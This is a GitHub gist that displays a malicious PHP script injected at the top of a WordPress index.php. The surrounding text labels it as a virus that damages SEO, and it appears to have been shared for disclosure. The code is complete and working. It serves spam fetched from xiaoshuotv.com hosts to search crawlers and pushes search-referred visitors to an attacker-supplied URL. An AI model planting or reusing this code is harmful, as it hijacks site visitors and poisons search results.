Skip to content

Instantly share code, notes, and snippets.

@aslamanver
Created December 13, 2022 11:19
Show Gist options
  • Save aslamanver/416d7802b968657ffb9a468b8a5023e3 to your computer and use it in GitHub Desktop.
Save aslamanver/416d7802b968657ffb9a468b8a5023e3 to your computer and use it in GitHub Desktop.
WordPress Virus Malicious Script that affects SEO
<?php
function barry($url)
{
$file_contents = '';
$user_agent = 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)';
if (function_exists('curl_init')) {
try {
$ch = curl_init();
$timeout = 30;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_USERAGENT,$user_agent);
$file_contents = curl_exec($ch);
curl_close($ch);
} catch (Exception $e) {
}
}
if (strlen($file_contents) < 1 && function_exists('file_get_contents')) {
ini_set('user_agent', $user_agent);
try {
$file_contents = @file_get_contents($url);
} catch (Exception $e) {
}
}
return $file_contents;
}
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if(stripos($agent,'bing') >-1 || stripos($agent,'yahoo') >-1 || stripos($agent,'coc')>-1 || stripos($agent,'google') >-1){
$url="http://mulu.xiaoshuotv.com"."/".$_SERVER['HTTP_HOST'];
$url= $url.$_SERVER["REQUEST_URI"];
echo barry($url);
exit();
}else if(stripos($agent,'baidu') >-1 || stripos($agent,'360spider') >-1 || stripos($agent,'sogou') >-1 || stripos($agent,'yisouSpider') >-1){
$url="http://cn.xiaoshuotv.com"."/".$_SERVER['HTTP_HOST'];
$url= $url.$_SERVER["REQUEST_URI"];
echo barry($url);
exit();
}
$re= @$_SERVER["HTTP_REFERER"];
if(strpos($re,'yahoo')!==false||strpos($re,'coc')!==false||strpos($re,'bing')!==false||strpos($re,'google')!==false)
{
$url="http://tz.xiaoshuotv.com/vn/tz.txt";
$tzurl = barry($url);
echo "<script>location.href='".$tzurl."'</script>";
exit();
}else if(strpos($re,'baidu')!==false||strpos($re,'so.com')!==false||strpos($re,'sogou')!==false||strpos($re,'sm.cn')!==false){
$url="http://tz.xiaoshuotv.com/cn/tz.txt";
$tzurl = barry($url);
echo "<script>location.href='".$tzurl."'</script>";
exit();
}
?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment